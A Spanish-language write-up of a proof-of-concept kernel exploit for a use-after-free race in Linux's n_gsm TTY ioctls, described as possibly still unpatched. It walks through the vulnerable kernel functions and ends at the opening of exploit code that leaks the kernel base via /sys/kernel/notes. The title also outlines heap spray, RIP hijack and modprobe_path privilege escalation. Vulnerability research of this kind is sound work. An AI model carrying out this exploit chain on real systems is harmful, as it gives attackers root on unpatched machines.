
PoC de exploit de use-after-free en el ioctl de TTY n_gsm del kernel de Linux: análisis de condición de carrera, fuga de la base del kernel, heap spray, secuestro de RIP, escritura arbitraria y escalada de privilegios mediante modprobe_path.
Esto parece seguir siendo un 0-day. No tenía la intención de publicar este exploit antes de que se parcheara la vulnerabilidad, pero otro investigador que encontró la misma vulnerabilidad publicó un exploit 0-day, así que también publiqué mi código. Por favor, utilícelo únicamente con fines de investigación.
[1] GSMIOC_SETCONF: Restablece la configuración de GSM.
[2] GSMIOC_GETCONF_DLCI: Recupera la configuración de DLCI asociada a GSM.
[3] GSMIOC_SETCONF_DLCI: Cambia la configuración de DLCI asociada a GSM.
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF:
if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
return -EFAULT;
return gsm_config(gsm, &c);//[1]
....
case GSMIOC_GETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
gsm_dlci_copy_config_values(dlci, &dc);//[2]
if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
return -EFAULT;
return 0;
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
default:
return n_tty_ioctl_helper(tty, cmd, arg);
}
}
Primero examinemos GSMIOC_SETCONF, que cambia la configuración de GSM.
[1] Si la configuración actual de GSM difiere de la nueva configuración, need_restart se marca como true.
[2] Si need_restart es true, el GSM actual se termina mediante gsm_cleanup_mux.
static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
int need_close = 0;
int need_restart = 0;
...
if (c->mtu != gsm->mtu)//[1]
need_restart = 1;
/*
* Close down what is needed, restart and initiate the new
* configuration. On the first time there is no DLCI[0]
* and closing or cleaning up is not necessary.
*/
if (need_close || need_restart)
gsm_cleanup_mux(gsm, true);//[2]
...
return 0;
}
[1] Todos los DLCI propiedad de GSM se liberan mediante gsm_dlci_release.
static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
int i;
struct gsm_dlci *dlci;
struct gsm_msg *txq, *ntxq;
gsm->dead = true;
mutex_lock(&gsm->mutex);
...
for (i = NUM_DLCI - 1; i >= 0; i--)
if (gsm->dlci[i]){
gsm_dlci_release(gsm->dlci[i]);//[1]
}
...
}
Posteriormente, las funciones se llaman en el siguiente orden:
[1] Se asigna NULL a gsm->dlci[addr] para prevenir el Use-After-Free (UAF).
[2] Después, gsm->dlci[addr] se libera usando kfree.
static void gsm_dlci_free(struct tty_port *port)
{
struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);
timer_shutdown_sync(&dlci->t1);
dlci->gsm->dlci[dlci->addr] = NULL;//[1]
kfifo_free(&dlci->fifo);
while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
dev_kfree_skb(dlci->skb);
kfree(dlci);//[2]
}
Examinemos GSMIOC_SETCONF_DLCI, que cambia los valores de configuración de un DLCI propiedad de GSM.
[1] Lee la configuración del DLCI, incluida la dirección (addr), desde el usuario.
[2] Hace referencia a gsm->dlci[addr].
[3] Llama a gsm_dlci_config para cambiar la configuración del DLCI.
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];//[2]
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}
[1] Establece need_open en true según las opciones pasadas por el usuario.
[2] Espera hasta que dlci->state se convierta en DLCI_CLOSED.
[3] Si solo gsm->initiator es true, se llama a la función gsm_dlci_begin_open para reiniciar el DLCI.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
struct gsm_mux *gsm;
bool need_restart = false;
bool need_open = false;
unsigned int i;
...
if (dc->flags & GSM_FL_RESTART)
need_restart = true;
if ((open && gsm->wait_config) || need_restart)//[1]
need_open = true;
if (dlci->state == DLCI_WAITING_CONFIG) {
need_restart = false;
need_open = true;
}
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
if (signal_pending(current))
return -EINTR;
}
...
if (need_open) {
if (gsm->initiator)
gsm_dlci_begin_open(dlci);//[3]
else
gsm_dlci_set_opening(dlci);
}
return 0;
}
[1] Accede a gsm->dlci sin un bloqueo.
[1] gsm_dlci_config accede a dlci. Si se ha llamado a gsm_cleanup_mux debido a GSMIOC_SETCONF, una condición de carrera puede provocar un Use-After-Free (UAF).
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
if (signal_pending(current))
return -EINTR;
}
...
unsigned long get_kernel_base(){
const char *filePath = "/sys/kernel/notes";
const char pattern[] = "Xen\\x00";
FILE *file;
uint8_t buffer[1024];
size_t bytesRead;
int found = 0;